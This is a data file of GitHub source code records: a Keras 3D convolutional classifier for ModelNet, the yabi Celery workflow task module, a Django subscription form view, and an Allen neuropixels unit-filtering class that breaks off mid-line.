+{"seq_id":"821725160","text":"#!/usr/bin/env python3\nimport numpy as np\nimport tensorflow as tf\n\nfrom modelnet import ModelNet\nfrom tensorflow.keras.layers import Input, Conv3D, Activation, MaxPooling3D, BatchNormalization, Dense, GlobalAveragePooling3D, SpatialDropout3D\n\n\n# The neural network model\nclass Network:\n    def __init__(self, modelnet, args):\n        # TODO: Define a suitable model, and either `.compile` it, or prepare\n        # optimizer and loss manually.\n        inp = Input(shape=(modelnet.H, modelnet.W, modelnet.D, modelnet.C))\n\n        hidden = Conv3D(24, (3,3,3), activation=None, padding='same')(inp)\n        hidden = SpatialDropout3D(0.4)(hidden)\n        hidden = BatchNormalization()(hidden)\n        hidden = Activation(tf.nn.relu)(hidden)\n\n        hidden = Conv3D(24, (3,3,3), activation=None, padding='same')(hidden)\n        hidden = SpatialDropout3D(0.4)(hidden)\n        hidden = BatchNormalization()(hidden)\n        hidden = Activation(tf.nn.relu)(hidden)\n\n        hidden = MaxPooling3D((2,2,2))(hidden)\n\n        hidden = Conv3D(48, (3,3,3), activation=None)(hidden)\n        hidden = BatchNormalization()(hidden)\n        hidden = Activation(tf.nn.relu)(hidden)\n\n        hidden = Conv3D(48, (3,3,3), activation=None)(hidden)\n        hidden = BatchNormalization()(hidden)\n        hidden = Activation(tf.nn.relu)(hidden)\n\n        hidden = MaxPooling3D((2,2,2))(hidden)\n\n        hidden = Conv3D(96, (3,3,3), activation=None)(hidden)\n        hidden = BatchNormalization()(hidden)\n        hidden = Activation(tf.nn.relu)(hidden)\n\n        hidden = Conv3D(96, (3,3,3), activation=None)(hidden)\n        hidden = BatchNormalization()(hidden)\n        hidden = Activation(tf.nn.relu)(hidden)\n\n        hidden = MaxPooling3D((2,2,2))(hidden)\n\n        hidden = GlobalAveragePooling3D()(hidden)\n\n        output = Dense(len(modelnet.LABELS), activation=tf.nn.softmax)(hidden)\n\n        self.model = tf.keras.Model(inputs=inp, outputs=output)\n        self.model.compile(\n            optimizer=tf.optimizers.Adam(),\n            loss=tf.losses.SparseCategoricalCrossentropy(),\n            metrics=[tf.metrics.SparseCategoricalAccuracy(name=\"accuracy\")]\n        )\n\n        self.tb_callback=tf.keras.callbacks.TensorBoard(args.logdir, update_freq=1000, profile_batch=1)\n        self.tb_callback.on_train_end = lambda *_: None\n\n    def train(self, modelnet, args):\n        # TODO: Train the network on a given dataset.\n        self.model.fit(x=modelnet.train.data[\"voxels\"], y=modelnet.train.data[\"labels\"],\n            batch_size=args.batch_size, epochs=args.epochs,\n            validation_data=(modelnet.dev.data[\"voxels\"], modelnet.dev.data[\"labels\"]))\n\n    def predict(self, dataset, args):\n        # TODO: Predict method should return a list/np.ndarray of\n        # label probabilities from the test set\n        return self.model.predict(dataset.data[\"voxels\"])\n\n\nif __name__ == \"__main__\":\n    import argparse\n    import datetime\n    import os\n    import re\n\n    # Parse arguments\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--batch_size\", default=32, type=int, help=\"Batch size.\")\n    parser.add_argument(\"--modelnet\", default=32, type=int, help=\"ModelNet dimension.\")\n    parser.add_argument(\"--epochs\", default=50, type=int, help=\"Number of epochs.\")\n    parser.add_argument(\"--threads\", default=1, type=int, help=\"Maximum number of threads to use.\")\n    args = parser.parse_args()\n\n    # Fix random seeds and number of threads\n    np.random.seed(42)\n    tf.random.set_seed(42)\n    tf.config.threading.set_inter_op_parallelism_threads(args.threads)\n    tf.config.threading.set_intra_op_parallelism_threads(args.threads)\n\n    # Create logdir name\n    args.logdir = os.path.join(\"logs\", \"{}-{}-{}\".format(\n        os.path.basename(__file__),\n        datetime.datetime.now().strftime(\"%Y-%m-%d_%H%M%S\"),\n        \",\".join((\"{}={}\".format(re.sub(\"(.)[^_]*_?\", r\"\\1\", key), value) for key, value in sorted(vars(args).items())))\n    ))\n\n    # Load the data\n    modelnet = ModelNet(args.modelnet)\n\n    # Create the network and train\n    network = Network(modelnet, args)\n    network.train(modelnet, args)\n\n    # Generate test set annotations, but in args.logdir to allow parallel execution.\n    out_path = \"3d_recognition_test.txt\"\n    if os.path.isdir(args.logdir): out_path = os.path.join(args.logdir, out_path)\n    with open(out_path, \"w\", encoding=\"utf-8\") as out_file:\n        for probs in network.predict(modelnet.test, args):\n            print(np.argmax(probs), file=out_file)\n","repo_name":"kopalja/DeepLearning","sub_path":"labs/08/3d_recognition.py","file_name":"3d_recognition.py","file_ext":"py","file_size_in_byte":4481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"26094813064","text":"from __future__ import absolute_import\nfrom functools import partial, wraps\nfrom datetime import datetime\nfrom celery import chain\nfrom celery.utils.log import get_task_logger\nfrom six.moves import filter\nfrom yabi.backend.exceptions import RetryPollingException, JobNotFoundException\nfrom yabi.backend import backend\nfrom yabi.constants import STATUS_ERROR, STATUS_READY, STATUS_COMPLETE, STATUS_EXEC, STATUS_STAGEOUT, STATUS_STAGEIN, STATUS_CLEANING, STATUS_ABORTED\nfrom yabi.constants import MAX_CELERY_TASK_RETRIES\nfrom yabi.yabi.models import DecryptedCredentialNotAvailable\nfrom yabi.yabiengine.models import Job, Task, Syslog\nfrom yabi.yabiengine.enginemodels import EngineWorkflow, EngineJob, EngineTask\nfrom yabi.yabiengine.engine_logging import create_workflow_logger, create_job_logger, create_task_logger, create_logger, YabiDBHandler, YabiContextFilter\nfrom yabi.backend import provisioning\nimport celery\nfrom django.conf import settings\nfrom django.db.models import Q\nfrom celery.signals import after_setup_task_logger\nimport logging\n\nlogger = get_task_logger(__name__)\n\napp = celery.Celery('yabi.backend.celerytasks')\n\napp.config_from_object('django.conf:settings')\n\nDYNBE_READY_POLL_INTERVAL = getattr(settings, 'DYNBE_READY_POLL_INTERVAL', 60)\nTASK_LIMIT_REACHED_RETRY_INTERVAL = getattr(settings, 'TASK_LIMIT_REACHED_RETRY_INTERVAL', 10)\n\n\n# Celery uses its own logging setup. All our custom logging setup has to be\n# done in this callback\ndef setup_logging(*args, **kwargs):\n    handler = YabiDBHandler()\n    log_filter = YabiContextFilter()\n    handler.addFilter(log_filter)\n    level = getattr(settings, 'YABIDBHANDLER_LOG_LEVEL', 'DEBUG')\n    handler.setLevel(logging.getLevelName(level))\n    logger.addHandler(handler)\n\n    yabiLogger = logging.getLogger('yabi')\n    yabiLogger.propagate = 1\n\nafter_setup_task_logger.connect(setup_logging)\n\n\n# Use this function instead of direct access, to allow testing\ndef get_current_celery_task():\n    from celery import current_task\n    return current_task\n\n\ndef log_it(ctx_type):\n\n    def logging_decorator(original_function):\n        @wraps(original_function)\n        def decorated_function(pk, *args, **kwargs):\n            original_function_name = original_function.__name__\n            task_logger = create_logger(ctx_type, logger, pk)\n            task_logger.info(\"Starting %s for %s %s.\", original_function_name, ctx_type, pk)\n            result = original_function(pk, *args, **kwargs)\n            task_logger.info(\"Finished %s for %s %s.\", original_function_name, ctx_type, pk)\n            return result\n        return decorated_function\n\n    return logging_decorator\n\n\n# In June 2015 the python module names have been changed to drop the older yabiadmin\n# name in favour of just yabi.\n# Celery messages have the full python module of functions in them\n# (ex. yabiadmin.backend.celerytasks.create_jobs) so when people will upgrade to this\n# release they might have messages in the queue with the old package name.\n# To prevent this messages from being discarded (and therefore the Workflows associated\n# never ending) we provide a temporary fix.\n# celery_task is a decorator that delegates to the Celery @app.task decorater but it also\n# registers the tasks with the module names defined in OLD_CELERY_TASKS_MODULE_NAMES.\n# For details see: https://ccgmurdoch.atlassian.net/browse/YABI-564\n\n# TODO: this has to be disabled in a later release when we are sure the old names aren't used anymore.\n\nOLD_CELERY_TASKS_MODULE_NAMES = ('yabiadmin.backend.celerytasks',)\n\n\ndef celery_task(*args, **kwargs):\n    def make_wrapper(**kwargs):\n        def inner_wrapper(fn):\n            for old_modname in OLD_CELERY_TASKS_MODULE_NAMES:\n                app.task(name='%s.%s' % (old_modname, fn.__name__), **kwargs)(fn)\n            return app.task(**kwargs)(fn)\n        return inner_wrapper\n\n    if kwargs:\n        # decorator received **kwargs, we have to return a decorator function\n        return make_wrapper(**kwargs)\n    else:\n        # we return a decorated function\n        return make_wrapper()(args[0])\n\n\n# Celery Tasks working on a Workflow\n\ndef process_workflow(workflow_id):\n    return chain(create_jobs.s(workflow_id) | process_jobs.s())\n\n\n@celery_task\n@log_it('workflow')\ndef create_jobs(workflow_id):\n    workflow = EngineWorkflow.objects.get(pk=workflow_id)\n    workflow.create_jobs()\n    return workflow.pk\n\n\ndef _process_job(job):\n    def dynamicbe_job_chain(job_id):\n        return chain(\n            provision_fs_be.s(job_id),\n            provision_ex_be.s(),\n            poll_until_dynbes_ready.s(),\n            create_db_tasks.s(),\n            spawn_ready_tasks.s())\n        # clean_up_dynamic_backends() happens on_job_finished()\n\n    def simple_job_chain(job_id):\n        return chain(\n            create_db_tasks.s(job_id),\n            spawn_ready_tasks.s())\n\n    if job.has_dynamic_backend:\n        job_chain = dynamicbe_job_chain(job.pk)\n    else:\n        job_chain = simple_job_chain(job.pk)\n\n    job_chain.apply_async()\n\n\n@celery_task\n@log_it('workflow')\ndef process_jobs(workflow_id):\n    workflow = EngineWorkflow.objects.get(pk=workflow_id)\n    if workflow.is_aborting:\n        workflow.status = STATUS_ABORTED\n        workflow.save()\n        return\n\n    for job in workflow.jobs_that_need_processing():\n        _process_job(job)\n\n\n@celery_task\n@log_it('workflow')\ndef abort_workflow(workflow_id):\n    wfl_logger = create_workflow_logger(logger, workflow_id)\n    workflow = EngineWorkflow.objects.get(pk=workflow_id)\n    if workflow.status == STATUS_ABORTED:\n        return\n    not_aborted_tasks = EngineTask.objects.filter(job__workflow__id=workflow.pk).exclude(job__status=STATUS_ABORTED)\n\n    running_tasks = list(filter(lambda x: x.status == STATUS_EXEC, not_aborted_tasks))\n    wfl_logger.info(\"Found %s running tasks\", len(running_tasks))\n    for task in running_tasks:\n        abort_task.apply_async((task.pk,))\n\n\n@celery_task\ndef on_workflow_completed(workflow_id):\n    delete_all_syslog_messages(workflow_id)\n\n\n# Celery Tasks working on a Job\n\n\n@celery_task(max_retries=None)\n@log_it('job')\ndef provision_fs_be(job_id):\n    job_logger = create_job_logger(logger, job_id)\n    try:\n        provision_be(job_id, 'fs')\n        return job_id\n    except Exception:\n        job_logger.exception(\"Exception in provision_fs_be for job {0}\".format(job_id))\n        mark_job_as_error(job_id)\n        raise\n\n\n@celery_task(max_retries=None)\n@log_it('job')\ndef provision_ex_be(job_id):\n    job_logger = create_job_logger(logger, job_id)\n    try:\n        provision_be(job_id, 'ex')\n        return job_id\n    except Exception:\n        job_logger.exception(\"Exception in provision_ex_be for job {0}\".format(job_id))\n        mark_job_as_error(job_id)\n        raise\n\n\n@celery_task(max_retries=None, default_retry_delay=DYNBE_READY_POLL_INTERVAL)\n@log_it('job')\ndef poll_until_dynbes_ready(job_id):\n    job_logger = create_job_logger(logger, job_id)\n    job = EngineJob.objects.get(pk=job_id)\n    if job.is_workflow_aborting:\n        abort_job(job)\n        return None\n\n    try:\n        job_dynbes = job.dynamic_backends.distinct()\n        instances_ready = map(provisioning.is_instance_ready, job_dynbes)\n        if not all(instances_ready):\n            raise get_current_celery_task().retry()\n\n        for dynbe in job_dynbes:\n            provisioning.update_dynbe_ip_addresses(job)\n\n        return job_id\n\n    except celery.exceptions.RetryTaskError:\n        # raised by the retry above, just re-raise.\n        raise\n    except Exception:\n        job_logger.exception(\"Error in poll_until_dynbes_ready for job '%s'.\", job_id)\n        raise get_current_celery_task().retry()\n\n\n@celery_task(max_retries=None)\n@log_it('job')\ndef clean_up_dynamic_backends(job_id):\n    job_logger = create_job_logger(logger, job_id)\n    try:\n        job = EngineJob.objects.get(pk=job_id)\n        dynamic_backends = job.dynamicbackendinstance_set.filter(destroyed_on__isnull=True)\n        if dynamic_backends.count() == 0:\n            logger.info(\"Job %s has no dynamic backends to be cleaned up.\", job_id)\n            return\n        for dynamic_be in dynamic_backends:\n            logger.info(\"Cleaning up dynamic backend %s\", dynamic_be.hostname)\n            provisioning.destroy_backend(dynamic_be)\n\n        return job_id\n    except Exception:\n        job_logger.exception(\"Exception in clean_up_dynamic_backends for job {0}\".format(job_id))\n        raise get_current_celery_task().retry()\n\n\n@celery_task(max_retries=None)\n@log_it('job')\ndef create_db_tasks(job_id):\n    if job_id is None:\n        logger.info(\"create_db_tasks received no job_id. Skipping processing.\")\n        return None\n    job_logger = create_job_logger(logger, job_id)\n    request = get_current_celery_task().request\n    try:\n        job = EngineJob.objects.get(pk=job_id)\n        if job.status == STATUS_READY:\n            # Handling case when in a previous execution the Celery worker died\n            # after tasks have been created and the transaction has been\n            # commited, but the Celery task didn't return yet\n            assert job.total_tasks() > 0, \"Job in READY state, but has no tasks\"\n            job_logger.warning(\"Job was already in READY state. Skipping creation of db tasks.\")\n            return job_id\n\n        if job.is_workflow_aborting:\n            abort_job(job)\n            return None\n\n        tasks_count = job.create_tasks()\n        if not tasks_count:\n            return None\n        return job_id\n\n    except DecryptedCredentialNotAvailable as dcna:\n        job_logger.exception(\"Decrypted credential not available.\")\n        countdown = backoff(request.retries)\n        job_logger.warning('create_db_tasks.retry {0} in {1} seconds'.format(job_id, countdown))\n        raise get_current_celery_task().retry(exc=dcna, countdown=countdown)\n    except Exception:\n        job_logger.exception(\"Exception in create_db_tasks for job {0}\".format(job_id))\n        mark_job_as_error(job_id)\n        raise\n\n\n@celery_task(max_retries=None)\ndef spawn_ready_tasks(job_id):\n    if job_id is None:\n        logger.info(\"spawn_ready_tasks received no job_id. Skipping processing.\")\n        return None\n    job_logger = create_job_logger(logger, job_id)\n    job_logger.info(\"Starting spawn_ready_tasks for Job %s\", job_id)\n    try:\n        job = EngineJob.objects.get(pk=job_id)\n        ready_tasks = job.ready_tasks()\n        logger.debug(ready_tasks)\n        aborting = job.is_workflow_aborting\n\n        if aborting:\n            abort_job(job)\n            for task in ready_tasks:\n                task.set_status(STATUS_ABORTED)\n                task.save()\n        else:\n            spawn_status = {}\n            for task in ready_tasks:\n                spawn_status[task.pk] = spawn_task(task)\n            if not all(spawn_status.values()):\n                not_spawned = [e[0] for e in spawn_status.items() if not e[1]]\n                job_logger.info(\"Couldn't spawn tasks: %s\", not_spawned)\n                current_task = get_current_celery_task()\n                current_task.retry(countdown=TASK_LIMIT_REACHED_RETRY_INTERVAL)\n            # need to update task.job.status here when all tasks for job spawned ?\n\n        job_logger.info(\"Finished spawn_ready_tasks for Job %s\", job_id)\n\n        return job_id\n    except celery.exceptions.RetryTaskError:\n        # This is normal operation, Celery is signaling to the Worker\n        # that this task should be retried by throwing an RetryTaskError\n        # Just re-raise it\n        raise\n    except Exception:\n        job_logger.exception(\"Exception when spawning tasks for job {0}\".format(job_id))\n        mark_job_as_error(job_id)\n        raise\n\n\n@celery_task\ndef on_job_finished(job_id):\n    job = Job.objects.get(pk=job_id)\n    if job.has_dynamic_backend:\n        clean_up_dynamic_backends.apply_async((job_id,))\n\n\n# Celery Tasks working on a Yabi Task\n\ndef spawn_task(task):\n    task_logger = create_task_logger(logger, task.pk)\n    task_logger.info(\"Starting spawn_task for task %s.\", task.pk)\n    if _tasks_per_user_reached_limit(task):\n        return False\n    task.set_status('requested')\n    task.save()\n    task_chain = chain(stage_in_files.s(task.pk), submit_task.s(), poll_task_status.s(), stage_out_files.s(), clean_up_task.s())\n    task_chain.apply_async()\n    task_logger.info(\"Finished spawn_task for task %s.\", task.pk)\n    return True\n\n\ndef _tasks_per_user_reached_limit(task):\n    exec_backend = task.job.exec_backend\n    tasks_per_user = task.job.tool.backend.tasks_per_user\n    if tasks_per_user is None:\n        # No limits\n        return False\n    if tasks_per_user == 0:\n        logger.info(\"Can't spawn task %s. Execution backend %s has task_per_user set to 0. No task execution allowed.\", task.pk, task.job.exec_backend)\n        return True\n\n    running_tasks = running_task_count(be=exec_backend, user=task.job.workflow.user)\n    if running_tasks >= tasks_per_user:\n        logger.info(\"Can't spawn task %s. Tasks per user limit reached! Execution backend %s has task_per_user set to %s and there are %s currently running tasks\", task.pk, task.job.exec_backend, tasks_per_user, running_tasks)\n        return True\n\n\ndef retry_current_celery_task(original_function_name, task_id, exc, countdown, polling_task=False):\n    task_logger = create_task_logger(logger, task_id)\n    task_logger.warning('{0}.retry {1} in {2} seconds'.format(original_function_name, task_id, countdown))\n    try:\n        current_task = get_current_celery_task()\n        current_task.retry(exc=exc, countdown=countdown)\n    except celery.exceptions.RetryTaskError:\n        # This is normal operation, Celery is signaling to the Worker\n        # that this task should be retried by throwing an RetryTaskError\n        # Just re-raise it\n        try:\n            if not polling_task:\n                task = Task.objects.get(pk=task_id)\n                task.retry_count = current_task.request.retries + 1\n                logger.debug(\"Retry is: %s\", current_task.request.retries)\n                task.save()\n        except Exception:\n            # Never fail on saving this\n            logger.exception(\"Failed on saving retry_count for task %d\", task_id)\n\n        raise\n    except Exception as ex:\n        if ex is exc:\n            # The same exception we passed to retry() has been re-raised\n            # This means the max_retry limit has been exceeded\n            task_logger.error(\"{0}.retry {1} exceeded retry limit - changing status to error\".format(original_function_name, task_id))\n        else:\n            # Some other Exception occured, log the details\n            task_logger.exception((\"{0}.retry {1} failed - changing status to error\".format(original_function_name, task_id)))\n\n        mark_task_as_error(task_id, str(ex))\n        raise\n\n\ndef retry_on_error(original_function):\n    @wraps(original_function)\n    def decorated_function(task_id, *args, **kwargs):\n        task_logger = create_task_logger(logger, task_id)\n        original_function_name = original_function.__name__\n\n        retry_celery_task = partial(retry_current_celery_task, original_function_name, task_id)\n        try:\n            result = original_function(task_id, *args, **kwargs)\n        except RetryPollingException as exc:\n            # constant for polling\n            countdown = 30\n            retry_celery_task(exc, countdown, polling_task=True)\n\n        except Exception as exc:\n            task_logger.exception(\"Exception in celery task {0} for task {1}\".format(original_function_name, task_id))\n            mark_task_as_retrying(task_id)\n            task = Task.objects.get(pk=task_id)\n            countdown = backoff(task.retry_count)\n            retry_celery_task(exc, countdown)\n\n        if task_id is not None and is_task_retrying(task_id):\n            task_logger.info('Task %s recovered from error' % task_id)\n            remove_task_retrying_mark(task_id)\n\n        return result\n\n    return decorated_function\n\n\ndef skip_if_no_task_id(original_function):\n    @wraps(original_function)\n    def decorated_function(task_id, *args, **kwargs):\n        original_function_name = original_function.__name__\n        if task_id is None:\n            logger.info(\"%s received no task_id. Skipping processing \", original_function_name)\n            return None\n        result = original_function(task_id, *args, **kwargs)\n        return result\n\n    return decorated_function\n\n\n@celery_task(max_retries=None)\n@retry_on_error\n@skip_if_no_task_id\n@log_it('task')\ndef stage_in_files(task_id):\n    task = EngineTask.objects.get(pk=task_id)\n    if abort_task_if_needed(task):\n        return None\n    change_task_status(task.pk, STATUS_STAGEIN)\n    backend.stage_in_files(task)\n    return task_id\n\n\n@celery_task(max_retries=MAX_CELERY_TASK_RETRIES)\n@retry_on_error\n@skip_if_no_task_id\n@log_it('task')\ndef submit_task(task_id):\n    task = EngineTask.objects.get(pk=task_id)\n    if abort_task_if_needed(task):\n        return None\n    change_task_status(task.pk, STATUS_EXEC)\n    # Re-fetch task\n    task = EngineTask.objects.get(pk=task_id)\n    backend.submit_task(task)\n    return task_id\n\n\n@celery_task(max_retries=None)\n@retry_on_error\n@skip_if_no_task_id\n@log_it('task')\ndef poll_task_status(task_id):\n    task = EngineTask.objects.get(pk=task_id)\n    try:\n        backend.poll_task_status(task)\n        return task_id\n    except JobNotFoundException:\n        if abort_task_if_needed(task):\n            return None\n        raise\n\n\n@celery_task(max_retries=None)\n@retry_on_error\n@skip_if_no_task_id\n@log_it('task')\ndef stage_out_files(task_id):\n    task = EngineTask.objects.get(pk=task_id)\n    if abort_task_if_needed(task):\n        return None\n    change_task_status(task.pk, STATUS_STAGEOUT)\n    backend.stage_out_files(task)\n    return task_id\n\n\n@celery_task(max_retries=None)\n@retry_on_error\n@skip_if_no_task_id\n@log_it('task')\ndef clean_up_task(task_id):\n    task = EngineTask.objects.get(pk=task_id)\n    if abort_task_if_needed(task):\n        return None\n    change_task_status(task.pk, STATUS_CLEANING)\n    backend.clean_up_task(task)\n    change_task_status(task.pk, STATUS_COMPLETE)\n\n\n@celery_task\n@log_it('task')\ndef abort_task(task_id):\n    task = EngineTask.objects.get(pk=task_id)\n    backend.abort_task(task)\n\n\n# Implementation\n\ndef abort_task_if_needed(task):\n    if task.is_workflow_aborting:\n        if task.status != STATUS_ABORTED:\n            change_task_status(task.pk, STATUS_ABORTED)\n        return True\n    return False\n\n\ndef backoff(count=0):\n    \"\"\"\n    Provide an exponential backoff with a maximum backoff in seconds\n    Used to delay between task retries\n    \"\"\"\n    if count > 4:\n        count = 4\n    return 5 ** (count + 1)\n\n\ndef mark_job_as_error(job_id):\n    job = Job.objects.get(pk=job_id)\n    wfl_logger = create_workflow_logger(logger, job.workflow.pk)\n    job.status = STATUS_ERROR\n    job.save()\n    job.workflow.update_status()\n    wfl_logger.info(\"Workflow {0} encountered an error.\".format(job.workflow.pk))\n\n\ndef is_task_retrying(task_id):\n    task = Task.objects.get(pk=task_id)\n    return task.is_retrying\n\n\ndef mark_task_as_retrying(task_id, message=\"Some error occurred\"):\n    task = Task.objects.get(pk=task_id)\n    task.mark_task_as_retrying(message)\n\n\ndef remove_task_retrying_mark(task_id):\n    task = Task.objects.get(pk=task_id)\n    if task.is_retrying:\n        task.finished_retrying()\n\n\ndef set_task_error_message(task_id, error_msg):\n    task = Task.objects.get(pk=task_id)\n    task.error_msg = error_msg\n    task.save()\n\n\ndef mark_task_as_error(task_id, error_msg=\"Some error occured\"):\n    task_logger = create_task_logger(logger, task_id)\n    task_logger.error(\"Task chain for Task {0} failed with '{1}'\".format(task_id, error_msg))\n    remove_task_retrying_mark(task_id)\n    change_task_status(task_id, STATUS_ERROR)\n    set_task_error_message(task_id, error_msg)\n\n\ndef provision_be(job_id, be_type):\n    job = EngineJob.objects.get(pk=job_id)\n    if job.is_workflow_aborting:\n        abort_job(job)\n        return None\n\n    def should_use_same_backend(job):\n        tool = job.tool\n        return (tool.backend.dynamic_backend and\n                tool.fs_backend.dynamic_backend and\n                tool.use_same_dynamic_backend)\n\n    if be_type == 'ex' and should_use_same_backend(job):\n        provisioning.use_fs_backend_for_execution(job)\n    else:\n        provisioning.create_backend(job, be_type)\n\n    return job_id\n\n\ndef abort_job(job, update_workflow=True):\n    job.status = STATUS_ABORTED\n    job.save()\n    on_job_finished.apply_async((job.pk,))\n    if update_workflow:\n        job.workflow.update_status()\n\n\n# Service methods\n# TODO TSZ move to another file?\n\n\ndef change_task_status(task_id, status):\n    task_logger = create_task_logger(logger, task_id)\n    try:\n        task_logger.debug(\"Setting status of task {0} to {1}\".format(task_id, status))\n        task = Task.objects.get(pk=task_id)\n        task.set_status(status)\n        task.save()\n\n        job_old_status = task.job.status\n        job_status = task.job.update_status()\n        job_status_changed = (job_old_status != job_status)\n\n        if job_status_changed:\n            old_status = task.job.workflow.status\n            task.job.workflow.update_status()\n            if task.job.is_finished:\n                on_job_finished.apply_async((task.job.pk,))\n            new_status = task.job.workflow.status\n            if old_status != new_status and new_status == STATUS_COMPLETE:\n                on_workflow_completed.apply_async((task.job.workflow.pk,))\n            else:\n                process_workflow_jobs_if_needed(task)\n\n    except Exception:\n        task_logger.exception(\"Exception when updating task's {0} status to {1}\".format(task_id, status))\n        raise\n\n\ndef process_workflow_jobs_if_needed(task):\n    workflow = EngineWorkflow.objects.get(pk=task.job.workflow.pk)\n    if workflow.is_aborting:\n        for job in workflow.jobs_that_wait_for_dependencies():\n            abort_job(job, update_workflow=False)\n        workflow.update_status()\n        return\n    if task.job.status == STATUS_COMPLETE:\n        if workflow.has_jobs_to_process():\n            process_jobs.apply_async((workflow.pk,))\n\n\n@log_it('workflow')\ndef request_workflow_abort(workflow_id, yabiuser=None):\n    workflow = EngineWorkflow.objects.get(pk=workflow_id)\n    if (workflow.abort_requested_on is not None) or workflow.status in (STATUS_COMPLETE, STATUS_ERROR):\n        return False\n    workflow.abort_requested_on = datetime.now()\n    workflow.abort_requested_by = yabiuser\n    workflow.save()\n    abort_workflow.apply_async((workflow_id,))\n    return True\n\n\ndef delete_all_syslog_messages(workflow_id):\n    logger.info(\"Deleting all the Syslog objects of workflow %s\" % workflow_id)\n    job_ids = [j.pk for j in Job.objects.filter(workflow__pk=workflow_id)]\n    task_ids = [t.pk for t in Task.objects.filter(job__workflow__pk=workflow_id)]\n\n    Syslog.objects.filter(\n        Q(table_name='workflow') & Q(table_id=workflow_id) |\n        Q(table_name='job') & Q(table_id__in=job_ids) |\n        Q(table_name='task') & Q(table_id__in=task_ids)\n    ).delete()\n\n\ndef running_task_count(be, user):\n    running_tasks = Task.objects.filter(job__workflow__user=user, job__exec_backend=be,\n                                        status_requested__isnull=False,\n                                        status_complete__isnull=True,\n                                        status_error__isnull=True,\n                                        status_exec_error__isnull=True,\n                                        status_aborted__isnull=True,\n                                        status_blocked__isnull=True).count()\n\n    return running_tasks\n","repo_name":"muccg/yabi","sub_path":"yabi/yabi/backend/celerytasks.py","file_name":"celerytasks.py","file_ext":"py","file_size_in_byte":23655,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"16"}
+{"seq_id":"42419686005","text":"from django.views.generic.edit import FormView\nfrom .models import Subscriber\nfrom .forms import SubscriberForm\nfrom django.db.models.signals import post_save\nfrom django.dispatch import receiver\n\n\nclass SubscribeFormView(FormView):\n    template_name = 'appointment/make_appointment.html'\n    form_class = SubscriberForm\n    success_url = '/'\n\n    def form_valid(self, form):\n        # This method is called when valid form data has been POSTed.\n        # It should return an HttpResponse.\n\n        client_name = form.cleaned_data['client_name']\n        client_email = form.cleaned_data['client_email']\n        sub_category = form.cleaned_data['sub_category']\n\n        subscribe = Subscriber(\n            client_name=client_name,\n            client_email=client_email,\n            sub_category=sub_category,\n        )\n        subscribe.save()\n\n        return super().form_valid(form)\n","repo_name":"titov32/skillfactory","sub_path":"python/projectDjango/NewsPaper/appointment/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"27255472835","text":"from typing import TYPE_CHECKING, Tuple, Dict, Callable, List, Optional, Union\nfrom dataclasses import dataclass, field\nfrom collections import OrderedDict\nimport ast\n\nimport numpy as np\nfrom simuran.core.utils import convert_filter\n\nif TYPE_CHECKING:\n    from pandas import DataFrame\n    from simuran import Recording\n\n\n@dataclass\nclass AllenVBNBridge(object):\n    \"\"\"A class to bridge between Allen VBN and other tools.\"\"\"\n\n    good_unit_properties: Dict[str, List] = field(default_factory=dict)\n\n    def __post_init__(self):\n        if (self.good_unit_properties is None) or (len(self.good_unit_properties) == 0):\n            self.good_unit_properties = {\n                \"isi_violations\": [\"<\", 0.4],\n                \"nn_hit_rate\": [\">\", 0.9],\n                \"amplitude_cutoff\": [\"<\", 0.1],\n                \"presence_ratio\": [\">\", 0.9],\n            }\n\n    def filter_good_units(\n        self, unit_table: \"DataFrame\", sort_: bool = False\n    ) -> \"DataFrame\":\n        \"\"\"\n        Filter out all non-desired units.\n\n        See https://allensdk.readthedocs.io/en/latest/_static/examples/nb/visual_behavior_neuropixels_quality_metrics.html for more details.\n\n        Settings are:\n        isi_violations < 0.4\n        nn_hit_rate > 0.9\n        amplitude_cutoff < 0.1\n        presence_ratio > 0.9\n\n        Parameters\n        ----------\n        unit_table: pd.DataFrame\n            The unit dataframe to filter from, with channel information.\n        sort_ : bool\n            Whether or not to sort the units, which is by depth.\n        \"\"\"\n        if sort_:\n            unit_table = unit_table.sort_values(\n                \"probe_vertical_position\", ascending=False\n            )\n        good_unit_filter_vals = []\n        for key, value in self.good_unit_properties.items():\n            op, value = value\n            filter_part = convert_filter(op)(unit_table[key], value)\n            good_unit_filter_vals.append(filter_part)\n        good_unit_filter = np.logical_and.reduce(good_unit_filter_vals)\n\n        return unit_table.loc[good_unit_filter]\n\n    def spike_train(\n        self,\n        recording: \"Recording\",\n        filter_units: bool = True,\n        filter_function: Callable[\n            [\"AllenVBNBridge\", \"DataFrame\", bool], \"DataFrame\"\n        ] = filter_good_units,\n        brain_regions: Optional[List[str]] = None,\n    ) -> Tuple[\"DataFrame\", Dict[int, np.ndarray]]:\n        \"\"\"\n        Retrieve a spike train for the units in the recording.\n\n        Parameters\n        ----------\n        recording: simuran.Recording\n            The recording to retrieve from.\n        filter_units : bool\n            Whether to filter out noisy cells, by default True.\n        filter_function : function\n            The function to use for filtering, by default filter_good_units.\n        brain_regions : list of str, optional\n            The brain regions to filter by, by default None.\n\n        Returns\n        -------\n        unit_channels : pd.DataFrame\n        spike_train : dict\n            Key is unit_id, value is the spike train.\n        \"\"\"\n        session = recording.data\n        if filter_units:\n            units = session.get_units(\n                filter_by_validity=True,\n                filter_out_of_brain_units=True,\n            )\n        else:\n            units = session.get_units()\n        channels = session.get_channels()\n        unit_channels = units.merge(\n            channels, left_on=\"peak_channel_id\", right_index=True\n        )\n        if brain_regions is not None:\n            unit_channels = unit_channels.loc[\n                unit_channels[\"structure_acronym\"].isin(brain_regions)\n            ]\n        if filter_units:\n            unit_channels = filter_function(self, unit_channels)\n        good_spikes = OrderedDict(\n            (k, v) for k, v in session.spike_times.items() if k in unit_channels.index\n        )\n        return unit_channels, good_spikes\n\n    @staticmethod\n    def trial_info(\n        recording: \"Recording\",\n    ) -> Tuple[\"DataFrame\", Dict[int, np.ndarray]]:\n        \"\"\"\n        Retrieve the trial information for the recording.\n\n        Parameters\n        ----------\n        recording: simuran.Recording\n            The recording to retrieve from.\n\n        Returns\n        -------\n        trial_info : dict\n            The trial information\n\n        See also\n        --------\n        https://allensdk.readthedocs.io/en/latest/_static/examples/nb/aligning_behavioral_data_to_task_events_with_the_stimulus_and_trials_tables.html\n\n        \"\"\"\n        session = 